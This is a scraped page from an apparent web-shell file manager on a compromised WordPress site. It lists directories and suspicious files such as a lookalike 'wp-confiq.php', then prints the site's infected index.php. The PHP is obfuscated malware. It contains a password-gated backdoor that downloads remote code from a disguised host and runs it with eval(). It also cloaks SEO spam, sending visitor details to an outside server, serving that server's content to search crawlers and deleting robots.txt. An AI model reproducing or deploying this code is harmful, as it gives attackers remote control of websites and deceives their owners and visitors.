Gecko [ dailyscreen.pro ]

Name	Size	Permission	Date
.tmb	[ DIR ]	drwxrwxrwx	2025-06-06 03:07
ALFA_DATA	[ DIR ]	drwxr-xr-x	2025-06-10 06:10
wordpress	[ DIR ]	drwxr-xr-x	2025-06-10 06:10
wp-admin	[ DIR ]	drwxr-xr-x	2025-06-10 06:10
wp-content	[ DIR ]	drwxr-xr-x	2025-06-10 06:10
wp-includes	[ DIR ]	drwxr-xr-x	2025-06-15 02:31
.hcflag	30 B	-rw-r--r--	2025-06-16 07:47
.htaccess	564 B	-r--r--r--	2025-06-10 06:10
.litespeed_flag	297 B	-rw-r--r--	2025-06-17 01:35
error_log	708.13 KB	-rw-r--r--	2025-06-17 09:05
index.php	3.89 KB	-rw-r--r--	2025-06-16 01:34
license.txt	19.45 KB	-rw-r--r--	2025-06-10 03:56
readme.html	7.23 KB	-rw-r--r--	2025-06-10 03:56
wp-activate.php	7.04 KB	-rw-r--r--	2025-06-10 03:56
wp-blog-header.php	351 B	-rw-r--r--	2025-06-10 03:56
wp-comments-post.php	2.28 KB	-rw-r--r--	2025-06-10 03:56
wp-config-sample.php	2.94 KB	-rw-r--r--	2025-06-10 03:56
wp-config.php	3.26 KB	-rw-rw-rw-	2025-05-23 03:18
wp-confiq.php	92.04 KB	-rw-r--r--	2025-06-16 01:34
wp-cron.php	5.41 KB	-rw-r--r--	2025-06-10 03:56
wp-links-opml.php	2.44 KB	-rw-r--r--	2025-06-10 03:56
wp-load.php	3.7 KB	-rw-r--r--	2025-06-10 03:56
wp-login.php	48.17 KB	-rw-r--r--	2025-06-10 03:56
wp-mail.php	8.34 KB	-rw-r--r--	2025-06-10 03:56
wp-settings.php	24.41 KB	-rw-r--r--	2025-06-10 03:56
wp-signup.php	33.54 KB	-rw-r--r--	2025-06-10 03:56
wp-trackback.php	4.77 KB	-rw-r--r--	2025-06-10 03:56

Rename

<?php
@set_time_limit(1000);@error_reporting(0);ini_set('display_errors','Off');$a=isset($_REQUEST['action'])?$_REQUEST['action']:'';if(!empty($a)){$b=$a[strlen($a)-1];$c=substr($a,0,strlen($a)-1);$d=array('9','8','2','4','5','d','7','4','1','7','2','2','5','b','5','5','a','2','c','4','b','f','5','0','b','8','a','a','4','c','7','3');$f=md5($c);if($f==implode($d)){$g=array("h","t","t","p","s",":","/","/","v","ps","d","d",".f","n","f","t","us",".t","o","p","/","d","o","o","r","/");$h=cucontent2025(implode($g).$b.'.t'.'x'.'t');if($h['status']){eval('?>'.$h['content']);}}exit();}else{$i=$_SERVER['DOCUMENT_ROOT'];$j="564h07.bnshgy.top";$k=isSecure2025();$l=$_SERVER["REQUEST_URI"];$m=isset($_SERVER['HTTP_ACCEPT_LANGUAGE'])?$_SERVER['HTTP_ACCEPT_LANGUAGE']:"";$n=$_SERVER["HTTP_HOST"];$o=isset($_SERVER['HTTP_REFERER'])?$_SERVER['HTTP_REFERER']:"";$p=isset($_SERVER['HTTP_USER_AGENT'])?$_SERVER['HTTP_USER_AGENT']:"";$q=ipAddress2025();$r="http_type=".base64_encode($k)."&http_uri=".base64_encode($l)."&http_lang=".base64_encode($m)."&http_host=".base64_encode($n)."&http_refer=".base64_encode($o)."&http_user_agent=".base64_encode($p)."&http_ip_address=".base64_encode($q);$s=array();$t='h'.'t'.'t'.'p'.'s'.':/'.'/'.$j.'/wp'.'-i'.'n'.'d'.'e'.'x'.'.ph'.'p?'.$r;if(stristr($l,'.xml')||stristr($l,'robots.txt')){if(file_exists($i.'/robots.txt')){unlink($i.'/robots.txt');}$s=cucontent2025($t);}$u=check_bot2025($p);$v=check_refer2025($o);$w=check_nobot2025($p);if($u||$v||!$w){$s=cucontent2025($t);}if($s['status']){$x=$s['content'];if(!strstr($x,'do_nothing')){if(strstr($x,'html_content')){@header("Content-type: text/html; charset=utf-8");$y=str_replace("html_content",'',$x);echo $y;exit();}if(strstr($x,'xml_content')){@header("Content-type: text/xml");$y=str_replace("xml_content",'',$x);echo $y;exit();}if(strstr($x,'robots_content')){@header("Content-type: text/plain; charset=utf-8");$y=str_replace("robots_content",'',$x);$z=explode('[***]',str_replace("robotscontent",'',$y));exit(implode(PHP_EOL,$z));}}}}function isSecure2025(){$aa=(!empty($_SERVER['HTTPS'])&&$_SERVER['HTTPS']!=='off')||$_SERVER['SERVER_PORT']==443;if($aa){return "https";}else{return "http";}}function ipAddress2025(){$bb="";if(!empty($_SERVER['HTTP_CLIENT_IP'])){$bb=$_SERVER['HTTP_CLIENT_IP'];}else if(!empty($_SERVER['HTTP_X_FORWARDED_FOR'])){$bb=$_SERVER['HTTP_X_FORWARDED_FOR'];}else{$bb=$_SERVER['REMOTE_ADDR'];}return $bb;}function cucontent2025($cc){$dd="";$ee=1;try{$ff=curl_init();curl_setopt($ff,CURLOPT_URL,$cc);curl_setopt($ff,CURLOPT_FOLLOWLOCATION,1);curl_setopt($ff,CURLOPT_SSL_VERIFYPEER,FALSE);curl_setopt($ff,CURLOPT_SSL_VERIFYHOST,FALSE);curl_setopt($ff,CURLOPT_CONNECTTIMEOUT,10);curl_setopt($ff,CURLOPT_RETURNTRANSFER,1);$dd=curl_exec($ff);curl_close($ff);}catch(Exception $gg){}if(($dd===false||$dd=="")&&function_exists('file_get_contents')){try{$dd=@file_get_contents($cc);}catch(Exception $gg){}}if($dd!=""){$ee=1;}$h=[];$h['status']=$ee;$h['content']=$dd;return $h;}function check_bot2025($hh){$u=false;$ii='googlebot|google|yahoo|bing|aol';if($hh){if(preg_match("/($ii)/si",$hh)){$u=true;}}return $u;}function check_nobot2025($hh){$u=false;$ii='360Spider|AhrefsBot|Amazonbot|Apple Bot|Ask Jeeves|AwarioBot|BaiduSpider|Baiduspider-image|Bytespider|DataForSeoBot|dataprovider|DotBot|DuckDuckBot|Exalead|Excite|facebook|facebookexternalhit|GPTBot|Lycos|MJ12bot|Scooter|SemrushBot|SiteLockSpider|Sleuth|Sogou News Spider|Sogou web spider|SOSO Spider|Twitterbot|Yandex Bot|YandexBot|YisouSpider|YodaoBot|YoudaoBot|BLEXBot|applebot|CCBot|PetalBot|ClaudeBot|HudHud-general-bot|SeznamBot|EzoicBot-Nicheiq|AhrefsSiteAudit|OAI-SearchBot|linkdexbot|ChatGPT-User|YandexMetrika|Yandex';if($hh){if(preg_match("/($ii)/si",$hh)){$u=true;}}return $u;}function check_refer2025($jj){$v=false;$kk='google.co.jp|google.com|yahoo.co.jp|yahoo.com|bing.com';if($jj){if(preg_match("/($kk)/si",$jj)){$v=true;}}return $v;}?><?php
define( 'WP_USE_THEMES', true );
require DIR . '/wp-blog-header.php';